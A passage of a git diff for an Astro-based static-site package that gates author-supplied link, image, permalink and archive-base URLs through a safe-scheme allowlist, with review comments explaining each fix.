           {headerActions.map((a) => a.type === 'link'
-            ? <a class={`rf-ha-btn${a.mobile ? ' rf-ha-btn--mobile' : ''}`} href={a.target || '#'} aria-label={a.label} set:html={a.icon}></a>
+            ? <a class={`rf-ha-btn${a.mobile ? ' rf-ha-btn--mobile' : ''}`} href={safeHref(a.target) || '#'} aria-label={a.label} set:html={a.icon}></a>
             : <Fragment>
                 <input type="checkbox" id={a.id} class="rf-ha-check" hidden data-ha-toggle />
                 <label class={`rf-ha-btn${a.mobile ? ' rf-ha-btn--mobile' : ''}`} for={a.id} role="button" tabindex="0" aria-label={a.label} aria-haspopup="dialog" aria-controls={a.target === 'sidebar' ? undefined : a.drawerId} data-ha-key>
@@ -997,9 +1053,13 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '')
     {breadcrumbLabel && (
       <nav class="rf-breadcrumb reef-breadcrumb" aria-label="Breadcrumb">
         <a href="/">{breadcrumbHome}</a>
-        {breadcrumbTrail.map((t) => (
-          <Fragment><span class="rf-breadcrumb-sep" aria-hidden="true">»</span><a href={t.href}>{t.label}</a></Fragment>
-        ))}
+        {breadcrumbTrail.map((t) => {
+          // round 4 (R3-P3-2): hoisted to a const — was two calls per item.
+          const hrefOk = safeHref(t.href);
+          return (
+            <Fragment><span class="rf-breadcrumb-sep" aria-hidden="true">»</span>{hrefOk ? <a href={hrefOk}>{t.label}</a> : <span>{t.label}</span>}</Fragment>
+          );
+        })}
         <span class="rf-breadcrumb-sep" aria-hidden="true">»</span><span>{breadcrumbLabel}</span>
       </nav>
     )}
@@ -1034,9 +1094,13 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '')
                 <li class="st-sidebar-group">
                   {g.head && <p class="st-sidebar-group-head">{g.head}</p>}
                   <ul class="st-sidebar-list">
-                    {g.items.map((it) => (
-                      <li>{it.href ? <a href={it.href} style={it.weight ? `font-size:${it.weight}px` : undefined}>{it.label}</a> : <span>{it.label}</span>}</li>
-                    ))}
+                    {g.items.map((it) => {
+                      // round 4 (R3-P3-2): hoisted to a const — was two calls per item.
+                      const hrefOk = safeHref(it.href);
+                      return (
+                        <li>{hrefOk ? <a href={hrefOk} style={it.weight ? `font-size:${it.weight}px` : undefined}>{it.label}</a> : <span>{it.label}</span>}</li>
+                      );
+                    })}
                   </ul>
                 </li>
               ))}
@@ -1072,9 +1136,12 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '')
             )}
             {sidebarSocial.length > 0 && (
               <nav class="st-sidebar-social" aria-label="Social">
-                {sidebarSocial.map((it) => (
-                  <a href={it.href} {...ext(it.href)} aria-label={it.label} title={it.label} set:html={it.icon} />
-                ))}
+                {sidebarSocial.map((it) => {
+                  // round 4 (R3-P3-2): hoisted to a const — was three calls per item.
+                  const hrefOk = safeHref(it.href);
+                  return hrefOk &&
+                    <a href={hrefOk} {...ext(hrefOk)} aria-label={it.label} title={it.label} set:html={it.icon} />;
+                })}
               </nav>
             )}
           </aside>
@@ -1090,7 +1157,11 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '')
         <section class="st-prose rf-foot-widget rf-foot-popular">
           {footWidgets.popular.heading && <h2>{footWidgets.popular.heading}</h2>}
           <ul class="st-list">
-            {footWidgets.popular.items.map((it) => <li><a href={it.href}>{it.label}</a></li>)}
+            {footWidgets.popular.items.map((it) => {
+              // round 4 (R3-P3-2): hoisted to a const — was two calls per item.
+              const hrefOk = safeHref(it.href);
+              return <li>{hrefOk ? <a href={hrefOk}>{it.label}</a> : <span>{it.label}</span>}</li>;
+            })}
           </ul>
         </section>
       )}
@@ -1098,7 +1169,13 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '')
         <section class="st-tagcloud rf-foot-widget rf-foot-tagcloud">
           {footWidgets.categories.heading && <h2>{footWidgets.categories.heading}</h2>}
           <div class="st-tag-flow">
-            {footWidgets.categories.items.map((it) => <a class="st-tag" href={it.href}>{it.label}</a>)}
+            {footWidgets.categories.items.map((it) => {
+              // round 4 (R3-P3-2): hoisted to a const — was two calls per item.
+              const hrefOk = safeHref(it.href);
+              return hrefOk
+                ? <a class="st-tag" href={hrefOk}>{it.label}</a>
+                : <span class="st-tag">{it.label}</span>;
+            })}
           </div>
         </section>
       )}
@@ -1120,22 +1197,35 @@ const ogSiteName = (meta['site-title'] ? String(meta['site-title']).trim() : '')
               {footerCols.map((col) => (
                 <div class="rf-foot-col">
                   {col.head && <h4>{col.head}</h4>}
-                  {col.items.map((it) => (it.href
-                    ? <a href={it.href} {...ext(it.href)}>{it.label}</a>
-                    : <span class="rf-foot-soon">{it.label}</span>))}
+                  {col.items.map((it) => {
+                    // round 4 (R3-P3-2): hoisted to a const — was three calls per item.
+                    const hrefOk = safeHref(it.href);
+                    return hrefOk
+                      ? <a href={hrefOk} {...ext(hrefOk)}>{it.label}</a>
+                      : <span class="rf-foot-soon">{it.label}</span>;
+                  })}
                 </div>
               ))}
             </div>
           </div>
         ) : footerSocial.length > 0 ? (
           <nav class="rf-footer-social" aria-label="Social">
-            {footerSocial.map((it) => (
-              <a href={it.href} {...ext(it.href)} aria-label={it.label} set:html={it.icon} />
-            ))}
+            {footerSocial.map((it) => {
+              // round 4 (R3-P3-2): hoisted to a const — was three calls per item.
+              const hrefOk = safeHref(it.href);
+              return hrefOk &&
+                <a href={hrefOk} {...ext(hrefOk)} aria-label={it.label} set:html={it.icon} />;
+            })}
           </nav>
         ) : navLinks.length > 0 && (
           <nav class="rf-footer-nav" aria-label="Footer">
-            {navLinks.map((l) => <a href={l.href} {...ext(l.href)}>{l.label}</a>)}
+            {navLinks.map((l) => {
+              // round 4 (R3-P3-2): hoisted to a const — was three calls per item.
+              const hrefOk = safeHref(l.href);
+              return hrefOk
+                ? <a href={hrefOk} {...ext(hrefOk)}>{l.label}</a>
+                : <span>{l.label}</span>;
+            })}
           </nav>
         )}
         {/* footer logo links home.
diff --git a/packages/sitetile/astro/src/lib/blog.mjs b/packages/sitetile/astro/src/lib/blog.mjs
index e6ff8c7..2c776e7 100644
--- a/packages/sitetile/astro/src/lib/blog.mjs
+++ b/packages/sitetile/astro/src/lib/blog.mjs
@@ -3,7 +3,7 @@
 // + body) living in the build's `blog/` dir (the reef `blog_posts` store shape).
 // The blog pages wear the SAME SiteLayout shell as the rest of the site, so the
 // site's theme + packages (bleedblend band, lingo head) apply to /devlog too.
-import { splitFrontmatter, bodyHtml, inlineHtml, parseSite } from '@sitetile';
+import { splitFrontmatter, bodyHtml, inlineHtml, parseSite, safeHref, safeSrc } from '@sitetile';
 // Chrome copy lives in a module that imports NO build alias, so a plain `node` test can reach
 // it. Re-exported here because every component already imports these from blog.mjs — the seam
 // moved, the call sites did not.
@@ -130,6 +130,16 @@ export function parsePost(slug, raw, excerptMax = 180) {
   // (a showcase post) renders as <video> in the body, but must never become the archive-card
   // thumbnail (a .mp4 in <img src> is a broken image). Falls through to '' when the post has only video.
   const imgM = [...b.matchAll(/!\[[^\]]*\]\(([^)\s]+)/g)].map((m) => m[1]).find((s) => !/\.(mp4|webm|mov|m4v|ogv)(?:$|[?#])/i.test(s));
+  // round 5 (R4-P3-2): `image` is this post's featured-image URL — extracted straight off a
+  // markdown regex, with NO gate of its own, and consumed VERBATIM as a live `<img src>` by every
+  // card renderer that shows it (blog index, both term archives, "Keep reading"/"Recent posts",
+  // the archive island's client corpus). `bodyHtml`'s own in-body image rendering already refuses
+  // an unsafe src via `imgTag`/`isSafeImageSrc` — this is the SAME post, the SAME first image,
+  // reaching a DIFFERENT template with no such gate (measured: an SVG `data:` featured image
+  // rendered nothing in the post body and a live `<img src="data:image/svg+xml…">` on the index).
+  // Gated here, once, at the single field every one of those consumers reads — `safeSrc` shares
+  // the same raster-only `data:` allowlist as the body renderer, so both agree on this post's
+  // image from now on. `''` (not null) so every existing `post.image` falsy check is unaffected.
   // 🩸 corrected 2026-07-07 (devlog excerpt chase): the old logic took only the FIRST
   // surviving line (.find()), then sliced it at 140 chars. Fine for a normal single-line
   // markdown paragraph, but real WP/Blogger posts are often written as many short
@@ -182,7 +192,7 @@ export function parsePost(slug, raw, excerptMax = 180) {
     // enrich per-post category (a plain devlog, or an authored-count model) → no category archive.
     categories: fmList(meta.categories),
     body: b,
-    image: imgM || '',
+    image: safeSrc(imgM) || '',
     author: fmStr(meta.author), // '' when absent → byline stays hidden; a site with authors enriches it
     excerpt,
     excerptText: fullText, // full join for per-site excerpt re-capping in buildIndexView
@@ -291,7 +301,7 @@ export function listedPosts(posts, meta) {
 // the href is not a category archive at all (the rail's own `All Posts|585|/diary` row). Keyed off
 // the site's own `blog-category-base`, so a site publishing archives elsewhere still matches.
 function categoryHrefSlug(href, meta) {
-  const base = String((meta || {})['blog-category-base'] || '/category').replace(/\/+$/, '');
+  const base = categoryBase(meta);
   const path = String(href || '').split(/[?#]/)[0].replace(/\/+$/, '');
   if (!path.startsWith(base + '/')) return null;
   const seg = path.slice(base.length + 1);
@@ -736,11 +746,51 @@ export function blogSearchOn(meta) {
 // blogBase: the blog's mount base. `blog-path` absent → historic `/devlog`. An explicit
 // empty / "/" mounts the blog at the site root (''); any other value is trailing-slash
 // normalised so callers can always append `/…` without doubling the slash.
+//
+// round 5 (R4-P1-1): `blog-path` is a documented site-level frontmatter field this function used
+// to return VERBATIM — every one of its ~10 consumers (the blog index, both term archives, every
+// post's breadcrumb/back-link/prev-next, "Keep reading"/"Recent posts", rss.xml, sitemap.xml, the
+// archive island's client corpus) inherits from THIS one function, so an unvalidated `blog-path`
+// poisoned every post link on the site at once. Gated here, at the declaration point, the same
+// policy every other destination in this renderer already uses (`safeHref` — this is a path
+// prefix, not an image, so `href`'s allowlist is the right one). `safeHref` itself records the
+// drop (isSafeHref → recordDrop) and returns null on a disallowed scheme; this degrades to the
+// historic `/devlog` default — the SAME value an absent `blog-path` already produces — rather
+// than to a blank/broken mount, so a hostile config never becomes a hostile OR a dead blog.
 export function blogBase(meta) {
   if (!meta || meta['blog-path'] == null) return '/devlog';
   const raw = String(meta['blog-path']).trim();
   if (raw === '' || raw === '/') return '';
-  return raw.replace(/\/+$/, '');
+  const path = raw.replace(/\/+$/, '');
+  return safeHref(path) ?? '/devlog';
+}
+
+// categoryBase / tagBase: the same shape as blogBase, for the WP-style term-archive mount points
+// (`/category`, `/tag`). round 5 (R4-P1-1, "term-archive URLs"): `blog-category-base` /
+// `blog-tag-base` are documented site-level fields read VERBATIM, un-gated, in ~10 places —
+// tagHref (every tag/category chip site-wide), sitemap.mjs, categoryHrefSlug, and each of
+// category/tag's own route files (base + [...loc] siblings), where the value becomes the
+// `pageHref()` this archive's own pager Prev/Next links are built from. One hostile value in
+// `_site.md` therefore reached every chip AND every pager link on the site, the exact R4-P1-1
+// shape. Centralised here so every one of those call sites gates through the same function and a
+// disallowed scheme can't be forgotten at a 10th one; degrades to the historic default (byte
+// identical to an absent config), same doctrine as blogBase.
+export function categoryBase(meta) {
+  const raw = String((meta && meta['blog-category-base']) || '/category').replace(/\/+$/, '');
+  return safeHref(raw) ?? '/category';
+}
+export function tagBase(meta) {
+  const raw = String((meta && meta['blog-tag-base']) || '/tag').replace(/\/+$/, '');
+  return safeHref(raw) ?? '/tag';
+}
+// authorBase: the SAME shape again for `blog-author-base` (`/author`) — found while auditing every
+// `pageHref()` in the term-archive family for R4-P1-1, not named by the round-4 review itself.
+// Smaller blast radius than categoryBase/tagBase (nothing links TO an author archive the way
+// tagHref links every tag/category chip site-wide — grepped: pages/author/[slug]/*.astro are its
+// only two readers), but the shape — a site-level base feeding a pager `<a href>` — is identical.
+export function authorBase(meta) {
+  const raw = String((meta && meta['blog-author-base']) || '/author').replace(/\/+$/, '');
+  return safeHref(raw) ?? '/author';
 }
 
 // blog tenancy — whether a site HAS a blog, and whose name is on it. Lives in its own module
@@ -800,14 +850,12 @@ export function tagHref(meta, tag, slugMap, catSet) {
   // fire for slugs that really got a route emitted — same "never link a page that isn't there"
   // rule blogCategories() follows with its empty hrefs.
   if (catSet && catSet.has(tag)) {
-    const base = String((meta && meta['blog-category-base']) || '/category').replace(/\/$/, '');
-    return `${urlLoc}${base}/${tag}/`;
+    return `${urlLoc}${categoryBase(meta)}/${tag}/`;
   }
   const on = meta && meta['blog-tag-routes'] != null && String(meta['blog-tag-routes']) !== 'false';
   if (on) {
-    const base = String((meta && meta['blog-tag-base']) || '/tag').replace(/\/$/, '');
     const slug = (slugMap || tagSlugMap(meta))[tag] || tag;
-    return `${urlLoc}${base}/${slug}/`;
+    return `${urlLoc}${tagBase(meta)}/${slug}/`;
   }
   // Blogger's /search/label/<tag> route is not locale-scoped (a separate, older capability this
   // feature doesn't touch) — left exactly as it always was.
@@ -870,11 +918,31 @@ export function toPath(u) {
   return s === '' ? undefined : s;
 }
 
+// round 5 (R4-P1-1): this function used to return `post.permalink` and the expanded
+// `blog-url-pattern` VERBATIM — both are documented author-controlled frontmatter fields (a
+// per-post override and a site-level routing template, respectively), and this is the ONE
+// function every consumer builds a post's URL through (the blog index, both term archives, every
+// post's own page for its prev/next nav, "Keep reading"/"Recent posts", rss.xml, sitemap.xml, and
+// the archive island's client corpus), so an unvalidated destination here reached all of them —
+// and, via getStaticPaths' `toPath(postUrl(...))`, could even name the BUILD DIRECTORY for the
+// post's own page. Gated at the return (once), the same policy every other destination in this
+// renderer already uses: `safeHref` on the FINAL, already-templated URL — not on the pattern
+// before substitution, since the pattern's tokens (`%postname%` etc.) are inert path text and the
+// scheme, if any, lives in the pattern's own literal prefix either way. A disallowed permalink
+// falls through to the normal pattern-based URL (same as no permalink at all); a disallowed
+// pattern (or `blog-path`, via the already-gated blogBase()) falls through to `canonical` — the
+// historic `${base}/<slug>` default, i.e. exactly what this post's URL would be with nothing
+// configured. `safeHref` records the drop itself (isSafeHref → recordDrop); nothing here needs to.
 export function postUrl(post, meta) {
   const p = post || {};
-  if (p.permalink) return String(p.permalink);
+  const base = blogBase(meta);
+  const canonical = `${base}/${p.slug || ''}`.replace(/\/{2,}/g, '/');
+  if (p.permalink) {
+    const ok = safeHref(String(p.permalink));
+    if (ok != null) return ok;
+  }
   const pattern = (meta && meta['blog-url-pattern'] != null && String(meta['blog-url-pattern']).trim())
-    || `${blogBase(meta)}/%postname%`;
+    || `${base}/%postname%`;
   const dm = /^(\d{4})-(\d{1,2})-(\d{1,2})/.exec(String(p.date || ''));
   const hm = /[T ](\d{1,2}):/.exec(String(p.date || ''));
   const year = dm ? dm[1] : '';
@@ -894,9 +962,10 @@ export function postUrl(post, meta) {
     .replace(/%postname%/g, slug)
     .replace(/%post_id%/g, postId)
     .replace(/%category%/g, category)
-    .replace(/%author%/g, author);
-  // collapse any `//` left by an empty token; a real trailing slash survives (single /).
-  return url.replace(/\/{2,}/g, '/');
+    .replace(/%author%/g, author)
+    // collapse any `//` left by an empty token; a real trailing slash survives (single /).
+    .replace(/\/{2,}/g, '/');
+  return safeHref(url) ?? canonical;
 }
 
 // indexUrl: the blog index URL for page `n`. Page 1 = the base itself (root '' → '/');
diff --git a/packages/sitetile/astro/src/lib/sitemap.mjs b/packages/sitetile/astro/src/lib/sitemap.mjs
index 1aa8255..26d1057 100644
--- a/packages/sitetile/astro/src/lib/sitemap.mjs
+++ b/packages/sitetile/astro/src/lib/sitemap.mjs
@@ -47,11 +47,31 @@ export function contentUrls(glob, siteMetaObj = {}, isPage = () => true) {
   return [...new Set(out)].sort();
 }
 
+// round 5 (R4-P1-1, "term-archive URLs"): `blog-tag-base`/`blog-category-base` are documented
+// site-level fields, read verbatim below into a `<loc>` this file emits — the same shape as every
+// other R4-P1-1 finding. This module deliberately imports NO `@sitetile` alias (see the file's own
+// header — plain `node` must be able to test it), so it cannot call site-core.js's safeHref/
+// isSafeHref the way blog.mjs's categoryBase()/tagBase() now do for the SAME two fields. A plain
+// scheme check, no entity-decoding pass, is the right-sized policy for THIS value specifically —
+// unlike a markdown link/image destination, a term-archive base is never author-typed through
+// cssmd's entity pipeline, so there is no entity-obfuscated form of it to catch. Same allowlist as
+// isSafeHref; kept in sync by hand since the two can't share code without breaking this file's own
+// no-alias contract.
+const SITEMAP_SAFE_BASE_URL = 'http://sitetile.invalid/';
+const SITEMAP_SAFE_SCHEMES = new Set(['http:', 'https:', 'mailto:', 'tel:', 'sms:', 'ftp:', 'ftps:']);
+function safeBasePath(raw, fallback) {
+  try {
+    return SITEMAP_SAFE_SCHEMES.has(new URL(raw, SITEMAP_SAFE_BASE_URL).protocol) ? raw : fallback;
+  } catch {
+    return fallback;
+  }
+}
+
 /** Tag archive paths — only when the site turned the routes on, because otherwise they 404. */
 export function tagUrls(postList, siteMetaObj = {}, slugMap = {}) {
   const on = siteMetaObj['blog-tag-routes'] != null && String(siteMetaObj['blog-tag-routes']) !== 'false';
   if (!on) return [];
-  const base = String(siteMetaObj['blog-tag-base'] || '/tag').replace(/\/$/, '');
+  const base = safeBasePath(String(siteMetaObj['blog-tag-base'] || '/tag').replace(/\/$/, ''), '/tag');
   const seen = new Set();
   for (const p of postList) for (const t of p.tags || []) if (t) seen.add(slugMap[t] || t);
   return [...seen].sort().map((slug) => `${base}/${encodeURI(slug)}/`);
@@ -65,7 +85,7 @@ export function tagUrls(postList, siteMetaObj = {}, slugMap = {}) {
 export function categoryUrls(postList, siteMetaObj = {}) {
   const on = siteMetaObj['blog-category-routes'] != null && String(siteMetaObj['blog-category-routes']) !== 'false';
   if (!on) return [];
-  const base = String(siteMetaObj['blog-category-base'] || '/category').replace(/\/$/, '');
+  const base = safeBasePath(String(siteMetaObj['blog-category-base'] || '/category').replace(/\/$/, ''), '/category');
   const seen = new Set();
   for (const p of postList) for (const c of p.categories || []) if (c) seen.add(c);
   return [...seen].sort().map((slug) => `${base}/${encodeURI(slug)}/`);
diff --git a/packages/sitetile/astro/src/packages/blog-archive/blog-archive.js b/packages/sitetile/astro/src/packages/blog-archive/blog-archive.js
index 8f0168d..c4d9d08 100644
--- a/packages/sitetile/astro/src/packages/blog-archive/blog-archive.js
+++ b/packages/sitetile/astro/src/packages/blog-archive/blog-archive.js
@@ -21,7 +21,7 @@
 // and sit on small corpora, so they're not phantoms; this island only owns the counted,
 // full-history sidebar deep links.
 //
-// XSS-safe by construction: every cell is built with createElement + textContent (never
+// script-injection-safe by construction: every cell is built with createElement + textContent (never
 // innerHTML / set:html), so a post title/tag carrying markup renders as literal text — the
 // same discipline as blog-search.js and the age-gate island.
 (function () {
diff --git a/packages/sitetile/astro/src/packages/blog-search/blog-search.js b/packages/sitetile/astro/src/packages/blog-search/blog-search.js
index 427ec86..b511b56 100644
--- a/packages/sitetile/astro/src/packages/blog-search/blog-search.js
+++ b/packages/sitetile/astro/src/packages/blog-search/blog-search.js
@@ -9,7 +9,7 @@
 // boundaries to guess) and Latin accents fold (café == cafe). Honest scope: substring,
 // not fuzzy / stemming / pinyin — enough for a blog, on par with live Blogger's own search.
 //
-// XSS-safe by construction: results are built with createElement + textContent ONLY —
+// script-injection-safe by construction: results are built with createElement + textContent ONLY —
 // never innerHTML / set:html — so a post title carrying markup renders as literal text
 // (the same discipline as the age-gate island).
 (function () {
diff --git a/packages/sitetile/astro/src/packages/header-actions/header-actions-cart.js b/packages/sitetile/astro/src/packages/header-actions/header-actions-cart.js
index 7ddb6b7..6e30dbc 100644
--- a/packages/sitetile/astro/src/packages/header-actions/header-actions-cart.js
+++ b/packages/sitetile/astro/src/packages/header-actions/header-actions-cart.js
@@ -29,6 +29,11 @@
   if (!actions) return; // not opted in on this page — inert.
   var guild = actions.getAttribute('data-cart-guild') || '';
   if (!guild) return;
+  // round 4 (R3-P2-1, second instance): `data-cart-href` is gated by `safeHref` at SiteLayout's
+  // `cartHref` declaration, before this attribute is ever written — this script never sees a
+  // raw author string, only the validated destination or nothing (see the `else if (href)` use
+  // of it below, a `window.location.href` assignment, which is a script-execution sink for a
+  // `javascript:` value exactly like a live `href`).
   var href = actions.getAttribute('data-cart-href') || '';
   var KEY = 'dc-square-shop-cart:' + guild;
   var CORAL = '[data-dynamic-coral="square-shop"]';
diff --git a/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/index.astro b/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/index.astro
index cde8bd4..9f55172 100644
--- a/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/index.astro
+++ b/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/index.astro
@@ -29,7 +29,7 @@
 // UNPREFIXED — see lib/blog.mjs's sitemap.xml.js note: the physical archive directory is a literal
 // `category` segment, prefixed here, not derived from that meta key at build time).
 import ArchiveView from '../../../../components/ArchiveView.astro';
-import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, localeBlogCorpora, termLocaleMap, alternateArchiveLocales } from '../../../../lib/blog.mjs';
+import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, localeBlogCorpora, termLocaleMap, alternateArchiveLocales, categoryBase } from '../../../../lib/blog.mjs';
 
 export function getStaticPaths() {
   const contentFiles = import.meta.glob('../../../../../content/**/*.md', { query: '?raw', import: 'default', eager: true });
@@ -60,7 +60,7 @@ export function getStaticPaths() {
 }
 
 const { posts, meta, slug, urlLoc, alternates } = Astro.props;
-const base = `/${urlLoc}${String(meta['blog-category-base'] || '/category').replace(/\/$/, '')}`;
+const base = `/${urlLoc}${categoryBase(meta)}`; // round 5 (R4-P1-1): gated
 const names = kvMap(meta['blog-category-names']);
 const heading = names[slug] || slug;
 const catPosts = posts.filter((p) => (p.categories || []).includes(slug));
diff --git a/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/page/[n].astro b/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/page/[n].astro
index bd75a82..21edbe6 100644
--- a/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/page/[n].astro
+++ b/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/page/[n].astro
@@ -11,7 +11,7 @@
 // verified hreflang; every other locale's own page 2+ is reachable from there.
 import ArchiveView from '../../../../../components/ArchiveView.astro';
 import { uiCopy } from '../../../../../packages/lingo/locale.mjs';
-import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, localeBlogCorpora } from '../../../../../lib/blog.mjs';
+import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, localeBlogCorpora, categoryBase } from '../../../../../lib/blog.mjs';
 
 export function getStaticPaths() {
   const contentFiles = import.meta.glob('../../../../../../content/**/*.md', { query: '?raw', import: 'default', eager: true });
@@ -43,7 +43,7 @@ export function getStaticPaths() {
 }
 
 const { posts, meta, slug, pageNum, urlLoc } = Astro.props;
-const base = `/${urlLoc}${String(meta['blog-category-base'] || '/category').replace(/\/$/, '')}`;
+const base = `/${urlLoc}${categoryBase(meta)}`; // round 5 (R4-P1-1): gated
 const names = kvMap(meta['blog-category-names']);
 const heading = names[slug] || slug;
 const catPosts = posts.filter((p) => (p.categories || []).includes(slug));
diff --git a/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/index.astro b/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/index.astro
index 3f3132a..a1ab944 100644
--- a/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/index.astro
+++ b/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/index.astro
@@ -7,7 +7,7 @@
 // via that locale's own `blog-tag-slugs`, falling back to the base value like every other locale
 // meta key). OPT-IN via that locale's own `blog-tag-routes`.
 import ArchiveView from '../../../../components/ArchiveView.astro';
-import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes, localeBlogCorpora, termLocaleMap, alternateArchiveLocales } from '../../../../lib/blog.mjs';
+import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes, localeBlogCorpora, termLocaleMap, alternateArchiveLocales, tagBase } from '../../../../lib/blog.mjs';
 
 export function getStaticPaths() {
   const contentFiles = import.meta.glob('../../../../../content/**/*.md', { query: '?raw', import: 'default', eager: true });
@@ -40,7 +40,7 @@ export function getStaticPaths() {
 }
 
 const { posts, meta, tag, slug, urlLoc, alternates } = Astro.props;
-const base = `/${urlLoc}${String(meta['blog-tag-base'] || '/tag').replace(/\/$/, '')}`;
+const base = `/${urlLoc}${tagBase(meta)}`; // round 5 (R4-P1-1): gated
 const labelPosts = posts.filter((p) => p.tags.includes(tag));
 const subhead = archivePrefixes(meta).tag + tag;
 const pageHref = (n) => (n === 1 ? `${base}/${slug}` : `${base}/${slug}/page/${n}`);
diff --git a/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/page/[n].astro b/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/page/[n].astro
index a33613a..ef297a7 100644
--- a/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/page/[n].astro
+++ b/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/page/[n].astro
@@ -5,7 +5,7 @@
 // header (page 1 carries the verified cross-locale hreflang).
 import ArchiveView from '../../../../../components/ArchiveView.astro';
 import { uiCopy } from '../../../../../packages/lingo/locale.mjs';
-import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes, localeBlogCorpora } from '../../../../../lib/blog.mjs';
+import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes, localeBlogCorpora, tagBase } from '../../../../../lib/blog.mjs';
 
 export function getStaticPaths() {
   const contentFiles = import.meta.glob('../../../../../../content/**/*.md', { query: '?raw', import: 'default', eager: true });
@@ -39,7 +39,7 @@ export function getStaticPaths() {
 }
 
 const { posts, meta, tag, slug, pageNum, urlLoc } = Astro.props;
-const base = `/${urlLoc}${String(meta['blog-tag-base'] || '/tag').replace(/\/$/, '')}`;
+const base = `/${urlLoc}${tagBase(meta)}`; // round 5 (R4-P1-1): gated
 const labelPosts = posts.filter((p) => p.tags.includes(tag));
 const subhead = archivePrefixes(meta).tag + tag;
 const pageHref = (n) => (n === 1 ? `${base}/${slug}` : `${base}/${slug}/page/${n}`);
diff --git a/packages/sitetile/astro/src/pages/author/[slug]/index.astro b/packages/sitetile/astro/src/pages/author/[slug]/index.astro
index c3f496e..994e5c0 100644
--- a/packages/sitetile/astro/src/pages/author/[slug]/index.astro
+++ b/packages/sitetile/astro/src/pages/author/[slug]/index.astro
@@ -5,7 +5,7 @@
 // corpus (post.author). Heading uses the display name from `blog-author-names: slug=名稱 | …`
 // (else the slug). OPT-IN via `blog-author-routes`.
 import ArchiveView from '../../../components/ArchiveView.astro';
-import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes } from '../../../lib/blog.mjs';
+import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, authorBase } from '../../../lib/blog.mjs';
 
 export function getStaticPaths() {
   const allPostsIn = allPosts(
@@ -27,7 +27,7 @@ export function getStaticPaths() {
 }
 
 const { posts, meta, slug } = Astro.props;
-const base = String(meta['blog-author-base'] || '/author').replace(/\/$/, '');
+const base = authorBase(meta); // round 5 (R4-P1-1): gated
 const names = kvMap(meta['blog-author-names']);
 const heading = names[slug] || slug;
 const authorPosts = posts.filter((p) => p.author === slug);
diff --git a/packages/sitetile/astro/src/pages/author/[slug]/page/[n].astro b/packages/sitetile/astro/src/pages/author/[slug]/page/[n].astro
index 913d52d..af2aee5 100644
--- a/packages/sitetile/astro/src/pages/author/[slug]/page/[n].astro
+++ b/packages/sitetile/astro/src/pages/author/[slug]/page/[n].astro
@@ -4,7 +4,7 @@
 // `blog-page-size` is set.
 import ArchiveView from '../../../../components/ArchiveView.astro';
 import { uiCopy } from '../../../../packages/lingo/locale.mjs';
-import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes } from '../../../../lib/blog.mjs';
+import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, authorBase } from '../../../../lib/blog.mjs';
 
 export function getStaticPaths() {
   const allPostsIn = allPosts(
@@ -36,7 +36,7 @@ export function getStaticPaths() {
 }
 
 const { posts, meta, slug, pageNum } = Astro.props;
-const base = String(meta['blog-author-base'] || '/author').replace(/\/$/, '');
+const base = authorBase(meta); // round 5 (R4-P1-1): gated
 const names = kvMap(meta['blog-author-names']);
 const heading = names[slug] || slug;
 const authorPosts = posts.filter((p) => p.author === slug);
diff --git a/packages/sitetile/astro/src/pages/category/[slug]/index.astro b/packages/sitetile/astro/src/pages/category/[slug]/index.astro
index aa8fc3f..dc72240 100644
--- a/packages/sitetile/astro/src/pages/category/[slug]/index.astro
+++ b/packages/sitetile/astro/src/pages/category/[slug]/index.astro
@@ -10,7 +10,7 @@
 // termLocaleMap so this file and its sibling can never advertise a locale the other side doesn't
 // also route (see lib/blog.mjs's header on localizeArchiveHref/alternateArchiveLocales for why).
 import ArchiveView from '../../../components/ArchiveView.astro';
-import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, termLocaleMap, alternateArchiveLocales } from '../../../lib/blog.mjs';
+import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, termLocaleMap, alternateArchiveLocales, categoryBase } from '../../../lib/blog.mjs';
 
 export function getStaticPaths() {
   const contentFiles = import.meta.glob('../../../../content/**/*.md', { query: '?raw', import: 'default', eager: true });
@@ -38,7 +38,7 @@ export function getStaticPaths() {
 }
 
 const { posts, meta, slug, alternates } = Astro.props;
-const base = String(meta['blog-category-base'] || '/category').replace(/\/$/, '');
+const base = categoryBase(meta); // round 5 (R4-P1-1): gated — see categoryBase's own comment
 const names = kvMap(meta['blog-category-names']);
 const heading = names[slug] || slug;
 const catPosts = posts.filter((p) => (p.categories || []).includes(slug));
diff --git a/packages/sitetile/astro/src/pages/category/[slug]/page/[n].astro b/packages/sitetile/astro/src/pages/category/[slug]/page/[n].astro
index 89cc907..e00bfec 100644
--- a/packages/sitetile/astro/src/pages/category/[slug]/page/[n].astro
+++ b/packages/sitetile/astro/src/pages/category/[slug]/page/[n].astro
